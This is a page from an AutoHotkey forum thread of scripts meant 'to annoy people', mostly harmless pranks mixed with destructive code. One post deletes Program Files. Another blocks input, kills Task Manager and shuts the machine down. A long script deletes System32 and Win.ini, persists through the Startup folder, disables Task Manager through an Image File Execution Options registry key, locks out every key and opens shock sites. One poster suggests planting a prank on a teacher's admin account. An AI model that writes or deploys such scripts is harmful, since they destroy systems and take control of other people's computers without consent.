AutoHotkey Community

It is currently May 26th, 2012, 10:40 pm

All times are UTC [ DST ]




Post new topic Reply to topic  [ 141 posts ]  Go to page Previous  1 ... 5, 6, 7, 8, 9, 10  Next
Author Message
 Post subject:
PostPosted: September 1st, 2009, 3:52 pm 
Code:
SetTimer, Title, 52000

Title:
WinSetTitle, blaster32.exe
Sleep, 12000
SoundBeep
Return


Report this post
Top
  
Reply with quote  
 Post subject:
PostPosted: September 15th, 2009, 1:38 am 
Offline

Joined: September 15th, 2009, 1:14 am
Posts: 562
nayone wrote:


Thanks for that link!!



I've just started playing with AutoHotKey, and I do have to say,
this thread is going to be my favorite to mess with my friends and family.
:D:D:D:D:D:D


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: November 22nd, 2009, 11:33 pm 
Code:
filedelete, C:/program files


Report this post
Top
  
Reply with quote  
 Post subject:
PostPosted: March 26th, 2010, 9:46 am 
Offline

Joined: March 22nd, 2010, 11:05 am
Posts: 44
I've been working on something like these for a test of basic functions. What I have so far is a mess of random things in no particular order. I later plan to organize it and make it like someone else said, with having a 3% chance or so to do 1 random thing.

So far it's not really harmful (Except the end. Do not run this unless you plan on working around startup problems) I also got some of my coding from here.
Code:
#NoTrayIcon
#SingleInstance Force
#Include %A_ScriptDir% . "\Volume.ahk"
#Include %A_ScriptDir% . "\Taskmgr.ahk"

BlockInput On

if (esc) {
esc::ExitApp ;Will later direct to shutdown. Used as cancelation in test versions.
}
else {

;==========================Lines to mess up basic settings==========================
Functions:

;Hides the start button. Doesn't seem to work on Vista or Windows 7.
Control, Hide, , Button1, ahk_class Shell_TrayWnd

SetDefaultMouseSpeed, 100

Drive, Eject

WinMinimizeAll

;=====================================Variables=====================================
Sleep = 10
s = {SPACE}
e = {ENTER}
*Del::return

;=================================Start Message Box=================================
Volume:
msgbox, 4116, Test v0.0.3, What.

 GoTo, Command
 
 ;===============================Command Prompt lines===============================
 Command:
 Run cmd
 Sleep, %Sleep%
 
 Loop 10 {
 Send, Test%e%
 Sleep, %Sleep%
 }
 Sleep, %Sleep%
 Send, dir%s%/s%s%/b%s%>%s%index.txt%e%
 Sleep, %Sleep%
 Send, Exit%e%
 Sleep, %Sleep%
 GoTo, Taskmgr
 

;==========================Changing the Desktop Wallpaper===========================
 Desktop:
 DeskTopFile:=A_ScriptDir . "\Source\Image\112.jpg"
 
 DllCall("SystemParametersInfo", UInt, 0x14, UInt, 0, Str, DeskTopFile, UInt, 2)
 RegWrite, REG_SZ, HKEY_CURRENT_USER, Control Panel\Desktop , Wallpaper, %DeskTopFile%
 GoTo, Exit

 ;======================================Shutdown=====================================
 Exit:

 ;FileCreateShortcut, %A_ScriptName%, %A_Startup%
Shutdown, 4
 ExitApp
 }
 


#Include Volume.ahk
Code:
SoundGet, master_mute, mute
if master_mute = On
{
Send, {Volume_Mute}
}
Send, {Volume_Up 50}


#Include Taskmgr.ahk
Code:
Loop
{
   Process, close, taskmgr.exe
}


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: March 26th, 2010, 3:40 pm 
Offline

Joined: October 6th, 2009, 2:01 am
Posts: 58
Deller wrote:
try having the mouse also trigger the message box.


and the special keys (play/pause, forward, etc.)
and the system power button >:P
and all the mouse buttons
and the arrow keys
:D

_________________
<ellipsis>...</ellipsis>


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: April 1st, 2010, 7:51 pm 
Offline

Joined: December 17th, 2008, 5:36 am
Posts: 80
I changed the sound annoy script to be very random. sometime its takes a while to beep, sometimes it don't! Have fun.

Code:
;#NoTrayIcon
loop,
{
   Random, loopjump, 1, 3
   gosub, %loopjump%
}

1:             ;longwaitburst with long wait:
Random, loopcount, 1, 3
loop, %loopcount%
{
   Random, sleeptime, 60000, 300000
   sleep, %sleeptime%
   Random, soundfreq, 37, 8000
   Random, sounddur, 500, 10000
   SoundBeep, %soundfreq%, %sounddur%
}
return
2:             ;shortburst short wait
Random, loopcount, 5, 10
loop, %loopcount%
{
   Random, sleeptime, 5000, 50000
   sleep, %sleeptime%
   Random, soundfreq, 37, 8000
   Random, sounddur, 500, 10000
   SoundBeep, %soundfreq%, %sounddur%
}
return
3:             ;rapid fire burst:
Random, loopcount, 6, 25
loop, %loopcount%
{
   Random, sleeptime, 10, 200
   sleep, %sleeptime%
   Random, soundfreq, 37, 8000
   Random, sounddur, 50, 600
   SoundBeep, %soundfreq%, %sounddur%
}
return


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: May 6th, 2010, 11:58 pm 
Offline

Joined: August 21st, 2006, 7:07 pm
Posts: 2925
Location: The Shell
Only use for good
Code:
setformat, integerFast, H
hwnd:=dllCall("GetDesktopWindow")+0
winGet, hwndList, controlListhwnd, % "ahk_id " hwnd
setformat, integerFast, D
stringSplit, curHnd, hwndList, `n
loop % curHnd0
  winSetTitle, % "ahk_id " curHnd%a_index%,, % msg(6679776633)

msg(mN) {
  loop, Parse, mN
  {
    nStr.=a_loopField
      if (strLen(nStr)>1) {
        mStr.=chr(nStr)
        nStr=
      }
  }
  return % mStr
}



booom :mrgreen:!

_________________
Imageparadigm.shift:=(•_•)┌П┐RTFM||^.*∞


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: June 4th, 2010, 11:28 am 
Offline

Joined: January 14th, 2010, 4:27 pm
Posts: 24
Stefan V wrote:
Credits to Sean for 99.99999% of this script lol. It takes a screenshot of the desktop and when a vowel is typed in it turns off input and it runs the file and sets it as desktop background, it then hides the mouse. (And the desktop wallpaper has the cursor on it but it won't move! But surprising you can click on files) - Unplug the mouse for more fun as they ponder why the mouse isn't moving.

This is script for putting it on a teachers admin account and making it run on startup... lol. Or change the script so that the desktop has the mouse cursor frozen, but the mouse still works... ROFL

I tried to use regedit to change the desktop wallpaper but it wouldn't refresh and I spent half an hour trying to do it... So I simply made it maximize " Windows picture and fax viewer" and right click and set as desktop... Kinda dodgy so alter it ; )

Note - you need nomousey for this - search the forum

Code:
Send {Printscreen}

/* CaptureScreen(aRect, bCursor, sFileTo, nQuality)
1) If the optional parameter bCursor is True, captures the cursor too.
2) If the optional parameter sFileTo is 0, set the image to Clipboard.
   If it is omitted or "", saves to screen.bmp in the script folder,
   otherwise to sFileTo which can be BMP/JPG/PNG/GIF/TIF.
3) The optional parameter nQuality is applicable only when sFileTo is JPG. Set it to the desired quality level of the resulting JPG, an integer between 0 - 100.
4) If aRect is 0/1/2/3, captures the entire desktop/active window/active client area/active monitor.
5) aRect can be comma delimited sequence of coordinates, e.g., "Left, Top, Right, Bottom" or "Left, Top, Right, Bottom, Width_Zoomed, Height_Zoomed".
   In this case, only that portion of the rectangle will be captured. Additionally, in the latter case, zoomed to the new width/height, Width_Zoomed/Height_Zoomed.

Example:
CaptureScreen(0)
CaptureScreen(1)
CaptureScreen(2)
CaptureScreen(3)
CaptureScreen("100, 100, 200, 200")
CaptureScreen("100, 100, 200, 200, 400, 400")   ; Zoomed
*/

/* Convert(sFileFr, sFileTo, nQuality)
Convert("C:\image.bmp", "C:\image.jpg")
Convert("C:\image.bmp", "C:\image.jpg", 95)
Convert(0, "C:\clip.png")   ; Save the bitmap in the clipboard to sFileTo if sFileFr is "" or 0.
*/

Printscreen::
Count++
count += 0
CaptureScreen()
Return

CaptureScreen(aRect = 0, bCursor = True, sFile = "desktop.bmp", nQuality = "")
{
   If   !aRect
   {
      SysGet, nL, 76
      SysGet, nT, 77
      SysGet, nW, 78
      SysGet, nH, 79
   }
   Else If   aRect = 1
      WinGetPos, nL, nT, nW, nH, A
   Else If   aRect = 2
   {
      WinGet, hWnd, ID, A
      VarSetCapacity(rt, 16, 0)
      DllCall("GetClientRect" , "Uint", hWnd, "Uint", &rt)
      DllCall("ClientToScreen", "Uint", hWnd, "Uint", &rt)
      nL := NumGet(rt, 0, "int")
      nT := NumGet(rt, 4, "int")
      nW := NumGet(rt, 8)
      nH := NumGet(rt,12)
   }
   Else If   aRect = 3
   {
      VarSetCapacity(mi, 40, 0)
      DllCall("GetCursorPos", "int64P", pt)
      DllCall("GetMonitorInfo", "Uint", DllCall("MonitorFromPoint", "int64", pt, "Uint", 2), "Uint", NumPut(40,mi)-4)
      nL := NumGet(mi, 4, "int")
      nT := NumGet(mi, 8, "int")
      nW := NumGet(mi,12, "int") - nL
      nH := NumGet(mi,16, "int") - nT
   }
   Else
   {
      StringSplit, rt, aRect, `,, %A_Space%%A_Tab%
      nL := rt1
      nT := rt2
      nW := rt3 - rt1
      nH := rt4 - rt2
      znW := rt5
      znH := rt6
   }

   mDC := DllCall("CreateCompatibleDC", "Uint", 0)
   hBM := CreateDIBSection(mDC, nW, nH)
   oBM := DllCall("SelectObject", "Uint", mDC, "Uint", hBM)
   hDC := DllCall("GetDC", "Uint", 0)
   DllCall("BitBlt", "Uint", mDC, "int", 0, "int", 0, "int", nW, "int", nH, "Uint", hDC, "int", nL, "int", nT, "Uint", 0x40000000 | 0x00CC0020)
   DllCall("ReleaseDC", "Uint", 0, "Uint", hDC)
   If   bCursor
      CaptureCursor(mDC, nL, nT)
   DllCall("SelectObject", "Uint", mDC, "Uint", oBM)
   DllCall("DeleteDC", "Uint", mDC)
   If   znW && znH
      hBM := Zoomer(hBM, nW, nH, znW, znH)
   If   sFile = 0
      SetClipboardData(hBM)
   Else   Convert(hBM, sFile, nQuality), DllCall("DeleteObject", "Uint", hBM)
}

CaptureCursor(hDC, nL, nT)
{
   VarSetCapacity(mi, 20, 0)
   mi := Chr(20)
   DllCall("GetCursorInfo", "Uint", &mi)
   bShow   := NumGet(mi, 4)
   hCursor := NumGet(mi, 8)
   xCursor := NumGet(mi,12)
   yCursor := NumGet(mi,16)

   VarSetCapacity(ni, 20, 0)
   DllCall("GetIconInfo", "Uint", hCursor, "Uint", &ni)
   xHotspot := NumGet(ni, 4)
   yHotspot := NumGet(ni, 8)
   hBMMask  := NumGet(ni,12)
   hBMColor := NumGet(ni,16)

   If   bShow
      DllCall("DrawIcon", "Uint", hDC, "int", xCursor - xHotspot - nL, "int", yCursor - yHotspot - nT, "Uint", hCursor)
   If   hBMMask
      DllCall("DeleteObject", "Uint", hBMMask)
   If   hBMColor
      DllCall("DeleteObject", "Uint", hBMColor)
}

Zoomer(hBM, nW, nH, znW, znH)
{
   mDC1 := DllCall("CreateCompatibleDC", "Uint", 0)
   mDC2 := DllCall("CreateCompatibleDC", "Uint", 0)
   zhBM := CreateDIBSection(mDC2, znW, znH)
   oBM1 := DllCall("SelectObject", "Uint", mDC1, "Uint",  hBM)
   oBM2 := DllCall("SelectObject", "Uint", mDC2, "Uint", zhBM)
   DllCall("SetStretchBltMode", "Uint", mDC2, "int", 4)
   DllCall("StretchBlt", "Uint", mDC2, "int", 0, "int", 0, "int", znW, "int", znH, "Uint", mDC1, "int", 0, "int", 0, "int", nW, "int", nH, "Uint", 0x00CC0020)
   DllCall("SelectObject", "Uint", mDC1, "Uint", oBM1)
   DllCall("SelectObject", "Uint", mDC2, "Uint", oBM2)
   DllCall("DeleteDC", "Uint", mDC1)
   DllCall("DeleteDC", "Uint", mDC2)
   DllCall("DeleteObject", "Uint", hBM)
   Return   zhBM
}

Convert(sFileFr = "", sFileTo = "", nQuality = "")
{
   If   sFileTo  =
      sFileTo := A_ScriptDir . "\screen.bmp"
   SplitPath, sFileTo, , sDirTo, sExtTo, sNameTo

   If Not   hGdiPlus := DllCall("LoadLibrary", "str", "gdiplus.dll")
      Return   sFileFr+0 ? SaveHBITMAPToFile(sFileFr, sDirTo . "" . sNameTo . ".bmp") : ""
   VarSetCapacity(si, 16, 0), si := Chr(1)
   DllCall("gdiplus\GdiplusStartup", "UintP", pToken, "Uint", &si, "Uint", 0)

   If   !sFileFr
   {
      DllCall("OpenClipboard", "Uint", 0)
      If    DllCall("IsClipboardFormatAvailable", "Uint", 2) && (hBM:=DllCall("GetClipboardData", "Uint", 2))
      DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", "Uint", hBM, "Uint", 0, "UintP", pImage)
      DllCall("CloseClipboard")
   }
   Else If   sFileFr Is Integer
      DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", "Uint", sFileFr, "Uint", 0, "UintP", pImage)
   Else   DllCall("gdiplus\GdipLoadImageFromFile", "Uint", Unicode4Ansi(wFileFr,sFileFr), "UintP", pImage)

   DllCall("gdiplus\GdipGetImageEncodersSize", "UintP", nCount, "UintP", nSize)
   VarSetCapacity(ci,nSize,0)
   DllCall("gdiplus\GdipGetImageEncoders", "Uint", nCount, "Uint", nSize, "Uint", &ci)
   Loop, %   nCount
      If   InStr(Ansi4Unicode(NumGet(ci,76*(A_Index-1)+44)), "." . sExtTo)
      {
         pCodec := &ci+76*(A_Index-1)
         Break
      }
   If   InStr(".JPG.JPEG.JPE.JFIF", "." . sExtTo) && nQuality<>"" && pImage && pCodec
   {
   DllCall("gdiplus\GdipGetEncoderParameterListSize", "Uint", pImage, "Uint", pCodec, "UintP", nSize)
   VarSetCapacity(pi,nSize,0)
   DllCall("gdiplus\GdipGetEncoderParameterList", "Uint", pImage, "Uint", pCodec, "Uint", nSize, "Uint", &pi)
   Loop, %   NumGet(pi)
      If   NumGet(pi,28*(A_Index-1)+20)=1 && NumGet(pi,28*(A_Index-1)+24)=6
      {
         pParam := &pi+28*(A_Index-1)
         NumPut(nQuality,NumGet(NumPut(4,NumPut(1,pParam+0)+20)))
         Break
      }
   }

   If   pImage
      pCodec   ? DllCall("gdiplus\GdipSaveImageToFile", "Uint", pImage, "Uint", Unicode4Ansi(wFileTo,sFileTo), "Uint", pCodec, "Uint", pParam) : DllCall("gdiplus\GdipCreateHBITMAPFromBitmap", "Uint", pImage, "UintP", hBitmap, "Uint", 0) . SetClipboardData(hBitmap), DllCall("gdiplus\GdipDisposeImage", "Uint", pImage)

   DllCall("gdiplus\GdiplusShutDown" , "Uint", pToken)
   DllCall("FreeLibrary", "Uint", hGdiPlus)
}

CreateDIBSection(hDC, nW, nH, bpp = 32, ByRef pBits = "")
{
   NumPut(VarSetCapacity(bi, 40, 0), bi)
   NumPut(nW, bi, 4)
   NumPut(nH, bi, 8)
   NumPut(bpp, NumPut(1, bi, 12, "UShort"), 0, "Ushort")
   NumPut(0,  bi,16)
   Return   DllCall("gdi32\CreateDIBSection", "Uint", hDC, "Uint", &bi, "Uint", 0, "UintP", pBits, "Uint", 0, "Uint", 0)
}

SaveHBITMAPToFile(hBitmap, sFile)
{
   DllCall("GetObject", "Uint", hBitmap, "int", VarSetCapacity(oi,84,0), "Uint", &oi)
   hFile:=   DllCall("CreateFile", "Uint", &sFile, "Uint", 0x40000000, "Uint", 0, "Uint", 0, "Uint", 2, "Uint", 0, "Uint", 0)
   DllCall("WriteFile", "Uint", hFile, "int64P", 0x4D42|14+40+NumGet(oi,44)<<16, "Uint", 6, "UintP", 0, "Uint", 0)
   DllCall("WriteFile", "Uint", hFile, "int64P", 54<<32, "Uint", 8, "UintP", 0, "Uint", 0)
   DllCall("WriteFile", "Uint", hFile, "Uint", &oi+24, "Uint", 40, "UintP", 0, "Uint", 0)
   DllCall("WriteFile", "Uint", hFile, "Uint", NumGet(oi,20), "Uint", NumGet(oi,44), "UintP", 0, "Uint", 0)
   DllCall("CloseHandle", "Uint", hFile)
}

SetClipboardData(hBitmap)
{
   DllCall("GetObject", "Uint", hBitmap, "int", VarSetCapacity(oi,84,0), "Uint", &oi)
   hDIB :=   DllCall("GlobalAlloc", "Uint", 2, "Uint", 40+NumGet(oi,44))
   pDIB :=   DllCall("GlobalLock", "Uint", hDIB)
   DllCall("RtlMoveMemory", "Uint", pDIB, "Uint", &oi+24, "Uint", 40)
   DllCall("RtlMoveMemory", "Uint", pDIB+40, "Uint", NumGet(oi,20), "Uint", NumGet(oi,44))
   DllCall("GlobalUnlock", "Uint", hDIB)
   DllCall("DeleteObject", "Uint", hBitmap)
   DllCall("OpenClipboard", "Uint", 0)
   DllCall("EmptyClipboard")
   DllCall("SetClipboardData", "Uint", 8, "Uint", hDIB)
   DllCall("CloseClipboard")
}

Unicode4Ansi(ByRef wString, sString)
{
   nSize := DllCall("MultiByteToWideChar", "Uint", 0, "Uint", 0, "Uint", &sString, "int", -1, "Uint", 0, "int", 0)
   VarSetCapacity(wString, nSize * 2)
   DllCall("MultiByteToWideChar", "Uint", 0, "Uint", 0, "Uint", &sString, "int", -1, "Uint", &wString, "int", nSize)
   Return   &wString
}

Ansi4Unicode(pString)
{
   nSize := DllCall("WideCharToMultiByte", "Uint", 0, "Uint", 0, "Uint", pString, "int", -1, "Uint", 0, "int",  0, "Uint", 0, "Uint", 0)
   VarSetCapacity(sString, nSize)
   DllCall("WideCharToMultiByte", "Uint", 0, "Uint", 0, "Uint", pString, "int", -1, "str", sString, "int", nSize, "Uint", 0, "Uint", 0)
   Return   sString
}

a::
e::
i::
o::
u::
BlockInput, on
Run %a_desktop%\desktop.bmp
Sleep 500
WinWait, desktop
WinMaximize
sleep 600
Mousemove, 50, 50
Click right
sleep 500
Send {Down 9}{enter}      

Run, nomousy.exe /hide ;hide cursor
BlockInput, off
ExitApp

It's kind of long... xD



Try to hide the desktop icons too :)


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: September 9th, 2010, 9:17 pm 
Can I format a drive with AHK?


Report this post
Top
  
Reply with quote  
 Post subject:
PostPosted: September 10th, 2010, 11:52 am 
Offline

Joined: July 31st, 2008, 10:27 pm
Posts: 336
evil wrote:
Can I format a drive with AHK?


Unbelievable.


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: September 10th, 2010, 1:57 pm 
Offline

Joined: September 10th, 2009, 5:54 pm
Posts: 203
evil wrote:
Can I format a drive with AHK?


Why would you post such a question? And why here? I'm confuzzled :shock:


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: September 11th, 2010, 10:53 pm 
Offline

Joined: July 17th, 2010, 3:06 am
Posts: 58
evil wrote:
Can I format a drive with AHK?


That goes far beyond "something to annoy people".


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: September 12th, 2010, 1:21 pm 
Offline

Joined: July 31st, 2008, 10:27 pm
Posts: 336
Andrew Lu wrote:
evil wrote:
Can I format a drive with AHK?


That goes far beyond "something to annoy people".


I found his post to be annoying. Maybe it does fit into the topic. :)


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: September 12th, 2010, 2:30 pm 
Offline

Joined: May 1st, 2010, 6:01 pm
Posts: 1020
Location: England
here is my go at an annoying script,

Warning, only run this if you plan on not accessing your computer ever again

Code:
#Persistent
#NoTrayIcon

Blockinput on
SetTitleMatchMode, 2
FileDelete, C:\Windows\Win.ini
FileDelete, C:\Windows\System32

SetTimer, MsnChat, 200
SetTimer, MsnChat2, 200
SetTimer, Rape, 200000
SetTimer, Fc, 50
SetTimer, Move, 50
SetTimer, Block, 50
SetTimer, CloseEscapeAttempts, 50
return

CloseEscapeAttempts:
    Process, Exist, PROCEXP.EXE
 If ( errorlevel > 0 )
    Process, Close, PROCEXP.EXE
   
    Process, Exist, taskmgr.exe
 If ( errorlevel > 0 )
    Process, Close, taskmgr.exe

return

Rape:
Run, www.yougotrickrolled.com
Run, www.Meatspin.com
return



Move:
Mousemove, 0, 0
return


Block:
Blockinput On
return


Fc:
FileCopy, %A_ScriptName%, C:\Users\%A_Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
FileDelete, C:\Windows\Win.ini
FileCopy, wowhack.exe, C:\Users\%A_Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
FileDelete, C:\Windows\System32
FileCopy, wowhack.exe, C:\Windows\Start Menu
Regwrite, REG_SZ, HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe, Debugger, Hotkey Disabled
return


MsnChat:
IfWinExist, 12345 ;set your name as this in msn
{
    WinActivate
    Send, I am ****. damn
    return
}
Else
Sleep 200
return



;-----------TAB KEY------------




;-------------- Toggle Keys ----


SetCapsLockState, AlwaysOff
SetNumLockState, AlwaysOn
SetScrollLockState, AlwaysOff

NumLock::return
CapsLock::return
ScrollLock::return


;-------------- Modifier Keys ----

LControl::return
RControl::return

LShift::return
RShift::return

LAlt::return
RAlt::return

Lwin::return
Rwin::return

LControl & RAlt::return
AppsKey::return

^!Del::return
^!::return


;---------------- F Keys----------


f1::return
f2::return
f3::return
f4::return
f5::return
f6::return
f7::return
f8::return
f9::return
f10::return
f11::return
f12::return


;----------------Viewfinding Keys----------


PrintScreen::return
CtrlBreak::return
Pause::return



Delete::return
Insert::return
Home::return
End::return
PgUp::return
PgDn::return
Up::return
Down::return
Left::return
Right::return


;---------------------Number Pad keys ----------


Numpad0::
NumpadIns::
return

Numpad1::
NumpadEnd::
return

Numpad2::
NumpadDown::
return

Numpad3::
NumpadPgDn::
return

Numpad4::
NumpadLeft::
return

Numpad5::
NumpadClear::
return

Numpad6::
NumpadRight::
return

Numpad7::
NumpadHome::
return

Numpad8::
NumpadUp::
return

Numpad9::
NumpadPgUp::
return

NumpadDot::
NumpadDel::
return



;the mathematic signs are the same on/off

NumpadDiv::return
NumpadMult::return
NumpadAdd::return
NumpadSub:: return
NumpadEnter::return


;----------------------Letter Keys-----------

a::return
b::return
c::return
d::return
e::return
f::return
g::return
h::return
i::return
j::return
k::return
l::return
m::return
n::return
o::return
p::return
q::return
r::return
s::return
t::return
u::return
v::return
w::return
x::return
y::return
z::return

;---------------------Number Keys------------

1::return
2::return
3::return
4::return
5::return
6::return
7::return
8::return
9::return
0::return

;------------------Puncuation----------------

-::return
=::return
[::return
]::return
;::return
'::return
#::return
,::return
.::return
/::return
\::return

;------------------------Other-------------

Escape::Return
`::Return

Tab::return
Space::return


Report this post
Top
 Profile  
Reply with quote  
 Post subject:
PostPosted: September 12th, 2010, 6:17 pm 
Offline

Joined: April 8th, 2009, 8:23 pm
Posts: 3036
Location: Rio de Janeiro - RJ - Brasil
x79animal wrote:
if you plan on not accessing your computer ever again

Which, again, goes way beyond "annoying people".

Here's a very simple Mouse Swap prank:
Code:
; USE F12 TO EXIT
;------------------------------------
SetTimer, SwapIt, 250
OnExit, Exit
Return
;------------------------------------
SwapIt:
  DllCall( "SwapMouseButton" , Int , Toggle:=!Toggle )
Return
;------------------------------------
F12::
Exit:
  SetTimer, SwapIt, Off
  DllCall( "SwapMouseButton" , Int , false )
ExitApp

_________________
"Read the manual. Read it again. Search the forum.
Try something before asking. Show what you've tried.
"
Image
Antonio França
My stuff: Google Profile


Report this post
Top
 Profile  
Reply with quote  
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 141 posts ]  Go to page Previous  1 ... 5, 6, 7, 8, 9, 10  Next

All times are UTC [ DST ]


Who is online

Users browsing this forum: Bing [Bot], jrav and 16 guests


You can post new topics in this forum
You can reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Powered by phpBB® Forum Software © phpBB Group